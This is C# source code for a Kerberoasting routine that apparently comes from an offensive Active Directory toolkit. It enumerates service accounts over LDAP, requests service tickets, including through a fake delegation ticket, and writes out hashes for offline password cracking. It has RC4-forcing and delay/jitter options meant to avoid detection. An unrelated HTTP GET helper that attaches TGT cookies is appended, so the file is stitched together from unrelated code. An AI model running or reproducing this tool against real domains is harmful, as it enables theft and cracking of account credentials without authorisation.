public static void Kerberoast(string spn = "", List <string> spns = null, string userName = "", string OUName = "", string domain = "", string dc = "", System.Net.NetworkCredential cred = null, string outFile = "", bool simpleOutput = false, KRB_CRED TGT = null, bool useTGTdeleg = false, string supportedEType = "rc4", string pwdSetAfter = "", string pwdSetBefore = "", string ldapFilter = "", int resultLimit = 0, int delay = 0, int jitter = 0, bool userStats = false, bool enterprise = false, bool autoenterprise = false) { if (userStats) { Console.WriteLine("[*] Listing statistics about target users, no ticket requests being performed."); } else if (TGT != null) { Console.WriteLine("[*] Using a TGT /ticket to request service tickets"); } else if (useTGTdeleg || String.Equals(supportedEType, "rc4opsec")) { Console.WriteLine("[*] Using 'tgtdeleg' to request a TGT for the current user"); byte[] delegTGTbytes = LSA.RequestFakeDelegTicket("", false); TGT = new KRB_CRED(delegTGTbytes); Console.WriteLine("[*] RC4_HMAC will be the requested for AES-enabled accounts, all etypes will be requested for everything else"); } else { Console.WriteLine("[*] NOTICE: AES hashes will be returned for AES-enabled accounts."); Console.WriteLine("[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.\r\n"); } if ((enterprise) && ((TGT == null) || ((String.IsNullOrEmpty(spn)) && (spns != null) && (spns.Count == 0)))) { Console.WriteLine("[X] To use Enterprise Principals, /spn or /spns has to be specified, along with either /ticket or /tgtdeleg"); return; } if (delay != 0) { Console.WriteLine($"[*] Using a delay of {delay} milliseconds between TGS requests."); if (jitter != 0) { Console.WriteLine($"[*] Using a jitter of {jitter}% between TGS requests."); } Console.WriteLine(); } if (!String.IsNullOrEmpty(spn)) { Console.WriteLine("\r\n[*] Target SPN : {0}", spn); if (TGT != null) { // if a TGT .kirbi is supplied, use that for the request // this could be a passed TGT or if TGT delegation is specified GetTGSRepHash(TGT, spn, "USER", "DISTINGUISHEDNAME", outFile, simpleOutput, enterprise, dc, Interop.KERB_ETYPE.rc4_hmac); } else { // otherwise use the KerberosRequestorSecurityToken method GetTGSRepHash(spn, "USER", "DISTINGUISHEDNAME", cred, outFile); } } else if ((spns != null) && (spns.Count != 0)) { foreach (string s in spns) { Console.WriteLine("\r\n[*] Target SPN : {0}", s); if (TGT != null) { // if a TGT .kirbi is supplied, use that for the request // this could be a passed TGT or if TGT delegation is specified GetTGSRepHash(TGT, s, "USER", "DISTINGUISHEDNAME", outFile, simpleOutput, enterprise, dc, Interop.KERB_ETYPE.rc4_hmac); } else { // otherwise use the KerberosRequestorSecurityToken method GetTGSRepHash(s, "USER", "DISTINGUISHEDNAME", cred, outFile); } } } else { if ((!String.IsNullOrEmpty(domain)) || (!String.IsNullOrEmpty(OUName)) || (!String.IsNullOrEmpty(userName))) { if (!String.IsNullOrEmpty(userName)) { if (userName.Contains(",")) { Console.WriteLine("[*] Target Users : {0}", userName); } else { Console.WriteLine("[*] Target User : {0}", userName); } } if (!String.IsNullOrEmpty(domain)) { Console.WriteLine("[*] Target Domain : {0}", domain); } if (!String.IsNullOrEmpty(OUName)) { Console.WriteLine("[*] Target OU : {0}", OUName); } } // inject ticket for LDAP search if supplied if (TGT != null) { byte[] kirbiBytes = null; string ticketDomain = TGT.enc_part.ticket_info[0].prealm; if (String.IsNullOrEmpty(domain)) { // if a domain isn't specified, use the domain from the referral domain = ticketDomain; } // referral TGT is in use, we need a service ticket for LDAP on the DC to perform the domain searcher if (ticketDomain != domain) { if (String.IsNullOrEmpty(dc)) { dc = Networking.GetDCName(domain); } string tgtUserName = TGT.enc_part.ticket_info[0].pname.name_string[0]; Ticket ticket = TGT.tickets[0]; byte[] clientKey = TGT.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)TGT.enc_part.ticket_info[0].key.keytype; // check if we've been given an IP for the DC, we'll need the name for the LDAP service ticket Match match = Regex.Match(dc, @"([0-9A-Fa-f]{1,4}:){7}[0-9A-Fa-f]{1,4}|(\d{1,3}\.){3}\d{1,3}"); if (match.Success) { System.Net.IPAddress dcIP = System.Net.IPAddress.Parse(dc); System.Net.IPHostEntry dcInfo = System.Net.Dns.GetHostEntry(dcIP); dc = dcInfo.HostName; } // request a service tickt for LDAP on the target DC kirbiBytes = Ask.TGS(tgtUserName, ticketDomain, ticket, clientKey, etype, string.Format("ldap/{0}", dc), etype, null, false, dc, false, enterprise, false); } // otherwise inject the TGT to perform the domain searcher else { kirbiBytes = TGT.Encode().Encode(); } LSA.ImportTicket(kirbiBytes, new LUID()); } DirectoryEntry directoryObject = null; DirectorySearcher userSearcher = null; try { directoryObject = Networking.GetLdapSearchRoot(cred, OUName, dc, domain); userSearcher = new DirectorySearcher(directoryObject); // enable LDAP paged search to get all results, by pages of 1000 items userSearcher.PageSize = 1000; } catch (Exception ex) { if (ex.InnerException != null) { Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.InnerException.Message); } else { Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.Message); } return; } // check to ensure that the bind worked correctly try { string dirPath = directoryObject.Path; if (String.IsNullOrEmpty(dirPath)) { Console.WriteLine("[*] Searching the current domain for Kerberoastable users"); } else { Console.WriteLine("[*] Searching path '{0}' for Kerberoastable users", dirPath); } } catch (DirectoryServicesCOMException ex) { if (!String.IsNullOrEmpty(OUName)) { Console.WriteLine("\r\n[X] Error validating the domain searcher for bind path \"{0}\" : {1}", OUName, ex.Message); } else { Console.WriteLine("\r\n[X] Error validating the domain searcher: {0}", ex.Message); } return; } try { string userFilter = ""; if (!String.IsNullOrEmpty(userName)) { if (userName.Contains(",")) { // searching for multiple specified users, ensuring they're not disabled accounts string userPart = ""; foreach (string user in userName.Split(',')) { userPart += String.Format("(samAccountName={0})", user); } userFilter = String.Format("(&(|{0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))", userPart); } else { // searching for a specified user, ensuring it's not a disabled account userFilter = String.Format("(samAccountName={0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2))", userName); } } else { // if no user specified, filter out the krbtgt account and disabled accounts userFilter = "(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))"; } string encFilter = ""; if (String.Equals(supportedEType, "rc4opsec")) { // "opsec" RC4, meaning don't RC4 roast accounts that support AES Console.WriteLine("[*] Searching for accounts that only support RC4_HMAC, no AES"); encFilter = "(!msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)"; } else if (String.Equals(supportedEType, "aes")) { // msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24 -> supported etypes includes AES128/256 Console.WriteLine("[*] Searching for accounts that support AES128_CTS_HMAC_SHA1_96/AES256_CTS_HMAC_SHA1_96"); encFilter = "(msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)"; } // Note: I originally thought that if enctypes included AES but DIDN'T include RC4, // then RC4 tickets would NOT be returned, so the original filter was: // !msds-supportedencryptiontypes=* -> null supported etypes, so RC4 // msds-supportedencryptiontypes=0 -> no supported etypes specified, so RC4 // msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4 -> supported etypes includes RC4 // userSearcher.Filter = "(&(samAccountType=805306368)(serviceprincipalname=*)(!samAccountName=krbtgt)(|(!msds-supportedencryptiontypes=*)(msds-supportedencryptiontypes=0)(msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4)))"; // But apparently Microsoft is silly and doesn't really follow their own docs and RC4 is always returned regardless ¯\_(ツ)_/¯ // so this fine-grained filtering is not needed string userSearchFilter = ""; if (!(String.IsNullOrEmpty(pwdSetAfter) & String.IsNullOrEmpty(pwdSetBefore))) { if (String.IsNullOrEmpty(pwdSetAfter)) { pwdSetAfter = "01-01-1601"; } if (String.IsNullOrEmpty(pwdSetBefore)) { pwdSetBefore = "01-01-2100"; } Console.WriteLine("[*] Searching for accounts with lastpwdset from {0} to {1}", pwdSetAfter, pwdSetBefore); try { DateTime timeFromConverted = DateTime.ParseExact(pwdSetAfter, "MM-dd-yyyy", null); DateTime timeUntilConverted = DateTime.ParseExact(pwdSetBefore, "MM-dd-yyyy", null); string timePeriod = "(pwdlastset>=" + timeFromConverted.ToFileTime() + ")(pwdlastset<=" + timeUntilConverted.ToFileTime() + ")"; userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1}{2})", userFilter, encFilter, timePeriod); } catch { Console.WriteLine("\r\n[X] Error parsing /pwdsetbefore or /pwdsetafter, please use the format 'MM-dd-yyyy'"); return; } } else { userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1})", userFilter, encFilter); } if (!String.IsNullOrEmpty(ldapFilter)) { userSearchFilter = String.Format("(&{0}({1}))", userSearchFilter, ldapFilter); } userSearcher.Filter = userSearchFilter; } catch (Exception ex) { Console.WriteLine("\r\n[X] Error settings the domain searcher filter: {0}", ex.InnerException.Message); return; } try { if (resultLimit > 0) { userSearcher.SizeLimit = resultLimit; Console.WriteLine("[*] Up to {0} result(s) will be returned", resultLimit.ToString()); } SearchResultCollection users = userSearcher.FindAll(); if (users.Count == 0) { Console.WriteLine("\r\n[X] No users found to Kerberoast!"); } else { Console.WriteLine("\r\n[*] Total kerberoastable users : {0}\r\n", users.Count); } // used to keep track of user encryption types SortedDictionary <Interop.SUPPORTED_ETYPE, int> userETypes = new SortedDictionary <Interop.SUPPORTED_ETYPE, int>(); // used to keep track of years that users had passwords last set in SortedDictionary <int, int> userPWDsetYears = new SortedDictionary <int, int>(); foreach (SearchResult user in users) { string samAccountName = user.Properties["samAccountName"][0].ToString(); string distinguishedName = user.Properties["distinguishedName"][0].ToString(); string servicePrincipalName = user.Properties["servicePrincipalName"][0].ToString(); DateTime?pwdLastSet = null; if (user.Properties.Contains("pwdlastset")) { long lastPwdSet = (long)(user.Properties["pwdlastset"][0]); pwdLastSet = DateTime.FromFileTimeUtc(lastPwdSet); } Interop.SUPPORTED_ETYPE supportedETypes = (Interop.SUPPORTED_ETYPE) 0; if (user.Properties.Contains("msDS-SupportedEncryptionTypes")) { supportedETypes = (Interop.SUPPORTED_ETYPE)user.Properties["msDS-SupportedEncryptionTypes"][0]; } if (!userETypes.ContainsKey(supportedETypes)) { userETypes[supportedETypes] = 1; } else { userETypes[supportedETypes] = userETypes[supportedETypes] + 1; } if (pwdLastSet == null) { // pwdLastSet == null with new accounts and // when a password is set to never expire if (!userPWDsetYears.ContainsKey(-1)) { userPWDsetYears[-1] = 1; } else { userPWDsetYears[-1] += 1; } } else { int year = pwdLastSet.Value.Year; if (!userPWDsetYears.ContainsKey(year)) { userPWDsetYears[year] = 1; } else { userPWDsetYears[year] += 1; } } if (!userStats) { if (!simpleOutput) { Console.WriteLine("\r\n[*] SamAccountName : {0}", samAccountName); Console.WriteLine("[*] DistinguishedName : {0}", distinguishedName); Console.WriteLine("[*] ServicePrincipalName : {0}", servicePrincipalName); Console.WriteLine("[*] PwdLastSet : {0}", pwdLastSet); Console.WriteLine("[*] Supported ETypes : {0}", supportedETypes); } if ((!String.IsNullOrEmpty(domain)) && (TGT == null)) { servicePrincipalName = String.Format("{0}@{1}", servicePrincipalName, domain); } if (TGT != null) { // if a TGT .kirbi is supplied, use that for the request // this could be a passed TGT or if TGT delegation is specified if (String.Equals(supportedEType, "rc4") && ( ((supportedETypes & Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) || ((supportedETypes & Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96) ) ) { // if we're roasting RC4, but AES is supported AND we have a TGT, specify RC4 bool result = GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, enterprise, dc, Interop.KERB_ETYPE.rc4_hmac); Helpers.RandomDelayWithJitter(delay, jitter); if (!result && autoenterprise) { Console.WriteLine("\r\n[-] Retrieving service ticket with SPN failed and '/autoenterprise' passed, retrying with the enterprise principal"); servicePrincipalName = String.Format("{0}@{1}", samAccountName, domain); GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, true, dc, Interop.KERB_ETYPE.rc4_hmac); Helpers.RandomDelayWithJitter(delay, jitter); } } else { // otherwise don't force RC4 - have all supported encryption types for opsec reasons bool result = GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, enterprise, dc); Helpers.RandomDelayWithJitter(delay, jitter); if (!result && autoenterprise) { Console.WriteLine("\r\n[-] Retrieving service ticket with SPN failed and '/autoenterprise' passed, retrying with the enterprise principal"); servicePrincipalName = String.Format("{0}@{1}", samAccountName, domain); GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, true, dc); Helpers.RandomDelayWithJitter(delay, jitter); } } } else { // otherwise use the KerberosRequestorSecurityToken method GetTGSRepHash(servicePrincipalName, samAccountName, distinguishedName, cred, outFile, simpleOutput); Helpers.RandomDelayWithJitter(delay, jitter); } } } if (userStats) { var eTypeTable = new ConsoleTable("Supported Encryption Type", "Count"); var pwdLastSetTable = new ConsoleTable("Password Last Set Year", "Count"); Console.WriteLine(); // display stats about the users found foreach (var item in userETypes) { eTypeTable.AddRow(item.Key.ToString(), item.Value.ToString()); } eTypeTable.Write(); foreach (var item in userPWDsetYears) { pwdLastSetTable.AddRow(item.Key.ToString(), item.Value.ToString()); } pwdLastSetTable.Write(); } } catch (Exception ex) { Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex); return; } } if (!String.IsNullOrEmpty(outFile)) { Console.WriteLine("[*] Roasted hashes written to : {0}", Path.GetFullPath(outFile)); } }
public string HttpGet(string url, IDictionary <string, string> queryStrings = null) { string result = ""; try { string fullUrl = url; if (queryStrings != null) { StringBuilder sb = new StringBuilder(); foreach (var query in queryStrings) { if (query.Value != null) { sb.Append(string.Format("&{0}={1}", query.Key, query.Value)); } } if (sb.Length > 0) { fullUrl = string.Format("{0}?{1}", url, sb.ToString().Trim('&')); } } HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(fullUrl); request.Method = Method; request.ContentType = ContentType; if (!string.IsNullOrEmpty(TGT)) { if (TGT.Contains("CASTGC")) { request.Headers.Add("Cookie", TGT); } else { request.Headers.Add("TGT", TGT); } } request.Timeout = this.TimeOut; request.ReadWriteTimeout = this.ReadWriteTimeout; request.MaximumAutomaticRedirections = 100; var response = (HttpWebResponse)request.GetResponse(); ResponseExceptionBase responseExceptionBase = new ResponseExceptionBase(response.StatusCode); if (responseExceptionBase.IsSuccess) { using (var stream = response.GetResponseStream()) { var resultBuffer = this.GetResponseBuffter(stream); result = ResponseEncoding.GetString(resultBuffer); } } response.Close(); if (!responseExceptionBase.IsSuccess) { return(null); } } catch (Exception ex) { throw ex; } return(result); }